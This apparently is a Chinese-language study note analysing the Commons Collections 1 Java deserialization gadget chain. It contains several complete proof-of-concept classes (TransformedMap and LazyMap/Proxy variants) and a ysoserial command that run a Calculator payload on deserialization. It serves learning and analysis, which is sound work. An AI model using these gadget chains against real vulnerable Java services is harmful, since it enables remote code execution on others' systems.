cc就是commons-collection(CC1只能在 jdk 8u71 之前的版本使用)
好好的学习一下吧
P神写的POC
package Study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Mikasa {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
outerMap.put("test","xxxx");
}
}

cc1有两种链,这里面一一分析一下
过程涉及的关键接口与类
ysoserial给的链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
下部分其实跟p神的poc是一样的,只是入口点不同
Transformer
Transformer
是一个接口,他只有一个待实现的方法

有一些类会实现这个接口,后面涉及一些敏感的类会用到
ConstantTransformer
ConstantTransformer
是实现了 Transformer
接口的一个类,他的过程就是在构造函数的时候传入一个对象,并在 transform 方法将这个对象在返回

后面我们会用到它作为调用链的开端
InvokerTransformer
InvokerTransformer
也是实现了 Transformer
接口的一个类,这个类可以用来执行任意方法,这也是反序列化能还行任意代码的关键
在实例化这个 InvokerTransformer
的时候 , 需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数就是传给这个函数的函数列表


后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法
写个Demo试试
package Study;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo1 {
public static void main(String[] args) {
InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"});
Object cmd = java.lang.Runtime.getRuntime();
test.transform(cmd);
}
}

为什么呢,我们手动调试一下,首先是 InvokerTransformer
的初始化

之后通过 java.lang.Runtime.getRuntime()
获得 Runtime
实例,为什么这样获取,其实是因为Runtime的构造方法是私有的,我们可以通过 getRuntime
方法获取,或者反射获取

之后传入 InvokerTransformer.transform
中,我们跟进去看看

那么就直接执行我们的命令,当然这只能算是个小的Demo,毕竟还要经过反序列化(Runtime不可以被序列化,需要反射调用),还有就是反序列化的入口也没有点出,我们这只能算是木马,非远程RCE
ChainedTransformer
ChainedTransformer
也是实现了 transformer
接口的一个类,他的作用是将内部的
多个 Transformer
串在一起(就是前一个回调返回的结果,作为后一个回调的参数传入)


向我们刚才说的,我们不可以直接通过 java.lang.Runtime
获取到 Runtime
实例,那么我们可以利用 ChainedTransformer
来达到我们的目的
Demo2
package Study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo2 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer23 = new ChainedTransformer(transformers);
transformer23.transform(new Object());
}
}

调用链为 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
流程有点复杂,我也有一点问题不太懂,这里面就简单说一下我的了解吧
;
首先是 ConstantTransformer
的初始化

然后 InvokerTransformer
的循环链

然后就是用 ChainedTransformer
将他们串联起来

其实就是 cc1 链的下半部分

其他的就是只有前半部分的不同
TransformedMap
TransformedMap
用于对Java标准数据接口Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调,我们通过下面这段代码对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map
Map outerMap = TransformedMap.decorate(innerMap,keyTransformer,transformer,valueTransformer);

初始化 keyTransformer
以及 valueTransformer

然后调用 TransformedMap.put

其中 key 以及 value都可以调用到 transformValue
其中, keyTransformer
是处理新元素的Key的回调, valueTransformer
是处理新元素的 value的回调。我们这里所说的 "回调",并不是传统意义上的一个回调函数,而是一个实现了 Transformer
接口的类
sun.reflect.annotation.AnnotationInvocationHandler
当然,我们前面都是自己本地测试的,没有什么实际意义,因为我们需要经过反序列化才能实现RCE,而我们前面需要的是 put
操作才可以调用到 transform
,那有没有一个类在反序列化 readObject
的时候可以跳转到 transform
呢,这里面师傅们找到了 AnnotationInvocationHandler
这个类在 readObject
的时候有类似于写入的操作,因此我们可以用它够着POC链子

memberValues
就是我们序列化后的Map,也是经过了 TransformedMap
修饰的对象,在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码。
跟 Runtime
一样的是,他也需要反射去调用,因为他的构造方法是私有的

写个POC
package Study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Cc1Poc {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj =constructor.newInstance(Retention.class,outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

流程有点复杂,讲不好,先放这边
理解demo
跟着调试了一遍,然后发现0.0,调用链真的长,吐了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer = new ChainedTransformer(transformers);
这两个是设置调用链的
先是 ConstantTransformer
返回 Runtime
对象

后来是 InvokerTransformer
先获取调用的方法,参数,在利用反射调用函数

最后是怎么触发回调呢
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
outerMap.put("test","xxxx");
最后的 put
方法可以调用回调

因为我们 keyTransformer
传的是null,因此我们跟进 transformValue

而这个 valueTransformer
一个 Transformer 的值

我们最开始使用 TransformedMap.decorate
的时候已经被初始化了

跟进 TransformedMap

在回头看看我们传的参数

因此会造成回调

valueTransformer
是 ChainedTransformer
类型的,看一下他的 transform
方法

跟前面又联系了起来
其实理解了前面的工作原理,这个Demo就很好理解了
测试一下
P神也说了,真正的demo离POC也很远的
上面我们分析到,要想触发这个反序列化的话需要执行 outerMap.put("xx","xxx");
来触发漏洞,但是在实际反序列化时,我们需要找一个类,它在反序列化的 readObject
逻辑里有类似的写入操作(这里面大佬们找到了 AnnotationInvocationHandler,当然这种方法在 8u71
以前还是可以使用的,但是现在就不行了,官方那边做了修改)
给出P神的例子
package Study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.InvocationHandler;
public class Cc1Poc {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj =constructor.newInstance(Retention.class,outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
//outerMap.put("test","xxxx");
}
}
我们测试一下

分析一下yso里面cc1的利用
我们先测试一下 yso 里面的调用
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "/Applications/Calculator.app/Contents/MacOS/Calculator" > test.txt
然后写一个加载Demo
public class test {
public static void main(String[] args) throws Exception{
ObjectInputStream test = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
Object obj = test.readObject();
}
}


首先进入 lazyMap
类看看,因为这个类是起点

查看其 get
方法,发先调用了 transform
方法(当中不到key值的时候),因此需要找到一个 readObject
能跳转到这个地方的类
cc1中同样使用的是 AnnotationInvocationHandler
类

发现其实现了 InvocationHandler, Serializable
说明是个动态类,并且可以被序列化,并且在其 invoke
方法中调用了 get
方法
查看 invoke
方法

确实调用了 get
方法,因此只要将此类用来代理 LazyMap
的话(实现了InvocationHandler,因此就可以作为代理类),那么无论调用什么方法都可以调用到 get
而在 readObject
里面确实也调用了这个
因为 AnnotationInvocationHandler
的构造方法是私有的,因此我们也要使用反射调用它(又要套娃)

POC
package Study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Demo4 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

过程有点复杂,这里不分析了(其实是不会)
参考
p神文章